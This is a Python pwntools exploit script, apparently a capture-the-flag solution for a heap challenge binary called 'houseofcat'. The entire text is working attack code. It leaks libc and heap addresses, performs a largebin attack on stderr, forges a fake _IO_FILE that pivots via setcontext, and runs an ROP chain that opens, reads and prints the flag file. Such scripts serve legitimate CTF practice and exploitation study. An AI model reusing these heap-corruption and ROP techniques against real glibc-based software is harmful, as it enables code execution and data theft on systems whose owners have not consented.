from
pwn
import
*
p
=
process(
'./houseofcat'
)
libc
=
ELF(
'./libc.so.6'
)
context.log_level
=
'debug'
r
=
lambda
x: p.recv(x)
ra
=
lambda
: p.recvall()
rl
=
lambda
: p.recvline(keepends
=
True
)
ru
=
lambda
x: p.recvuntil(x, drop
=
True
)
sl
=
lambda
x: p.sendline(x)
sa
=
lambda
x, y: p.sendafter(x, y)
sla
=
lambda
x, y: p.sendlineafter(x, y)
ia
=
lambda
: p.interactive()
c
=
lambda
: p.close()
li
=
lambda
x: log.info(x)
db
=
lambda
: gdb.attach(p)
sa(
'mew mew mew~~~~~~'
,
'LOGIN | r00t QWB QWXFadmin'
)
def
add(idx,size,cont):
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
1
))
sla(
'plz input your cat idx:\n'
,
str
(idx))
sla(
'plz input your cat size:\n'
,
str
(size))
sa(
'plz input your content:\n'
,cont)
def
delete(idx):
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
2
))
sla(
'plz input your cat idx:\n'
,
str
(idx))
def
show(idx):
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
3
))
sla(
'plz input your cat idx:\n'
,
str
(idx))
def
edit(idx,cont):
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
4
))
sla(
'plz input your cat idx:\n'
,
str
(idx))
sa(
'plz input your content:\n'
, cont)
add(
0
,
0x420
,
'aaa'
)
add(
1
,
0x430
,
'bbb'
)
add(
2
,
0x418
,
'ccc'
)
delete(
0
)
add(
3
,
0x440
,
'ddd'
)
show(
0
)
ru(
'Context:\n'
)
libcbase
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
-
0x21a0d0
info(
'libc->'
+
hex
(libcbase))
rdi
=
libcbase
+
0x000000000002a3e5
rsi
=
libcbase
+
0x000000000002be51
rdxr12
=
libcbase
+
0x000000000011f497
ret
=
libcbase
+
0x0000000000029cd6
rax
=
libcbase
+
0x0000000000045eb0
stderr
=
libcbase
+
libc.sym[
'stderr'
]
setcontext
=
libcbase
+
libc.sym[
'setcontext'
]
close
=
libcbase
+
libc.sym[
'close'
]
read
=
libcbase
+
libc.sym[
'read'
]
write
=
libcbase
+
libc.sym[
'write'
]
syscallret
=
libcbase
+
libc.search(asm(
'syscall\nret'
)).
next
()
p.recv(
10
)
heapaddr
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
-
0x290
info(
'heap->'
+
hex
(heapaddr))
ioaddr
=
heapaddr
+
0xb00
next_chain
=
0
fake_IO_FILE
=
p64(
0
)
*
4
fake_IO_FILE
+
=
p64(
0
)
fake_IO_FILE
+
=
p64(
0
)
fake_IO_FILE
+
=
p64(
1
)
+
p64(
2
)
fake_IO_FILE
+
=
p64(heapaddr
+
0xc18
-
0x68
)
fake_IO_FILE
+
=
p64(setcontext
+
61
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x58
,
'\x00'
)
fake_IO_FILE
+
=
p64(
0
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x78
,
'\x00'
)
fake_IO_FILE
+
=
p64(heapaddr
+
0x200
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x90
,
'\x00'
)
fake_IO_FILE
+
=
p64(heapaddr
+
0xb30
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xB0
,
'\x00'
)
fake_IO_FILE
+
=
p64(
1
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xC8
,
'\x00'
)
fake_IO_FILE
+
=
p64(libcbase
+
0x2160d0
)
fake_IO_FILE
+
=
p64(
0
)
*
6
fake_IO_FILE
+
=
p64(heapaddr
+
0xb30
+
0x10
)
flagaddr
=
heapaddr
+
0x17d0
payload1
=
fake_IO_FILE
+
p64(flagaddr)
+
p64(
0
)
+
p64(
0
)
*
5
+
p64(heapaddr
+
0x2050
)
+
p64(ret)
delete(
2
)
add(
6
,
0x418
,payload1)
delete(
6
)
edit(
0
,p64(libcbase
+
0x21a0d0
)
*
2
+
p64(heapaddr
+
0x290
)
+
p64(stderr
-
0x20
))
add(
5
,
0x440
,
'aaaaa'
)
add(
7
,
0x430
,
'flag'
)
add(
8
,
0x430
,
'eee'
)
payload
=
p64(rdi)
+
p64(
0
)
+
p64(close)
+
p64(rdi)
+
p64(flagaddr)
+
p64(rsi)
+
p64(
0
)
+
p64(rax)
+
p64(
2
)
+
p64(syscallret)
+
p64(rdi)
+
p64(
0
)
+
p64(rsi)
+
p64(flagaddr)
+
p64(rdxr12)
+
p64(
0x50
)
+
p64(
0
)
+
p64(read)
+
p64(rdi)
+
p64(
1
)
+
p64(write)
add(
9
,
0x430
,payload)
delete(
5
)
add(
10
,
0x450
,p64(
0
)
+
p64(
1
))
delete(
8
)
edit(
5
,p64(libcbase
+
0x21a0e0
)
*
2
+
p64(heapaddr
+
0x1370
)
+
p64(heapaddr
+
0x28e0
-
0x20
+
3
))
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
1
))
sla(
'plz input your cat idx:'
,
str
(
11
))
gdb.attach(p,
'b* (_IO_wfile_seekoff)'
)
sla(
'plz input your cat size:'
,
str
(
0x450
))
p.interactive()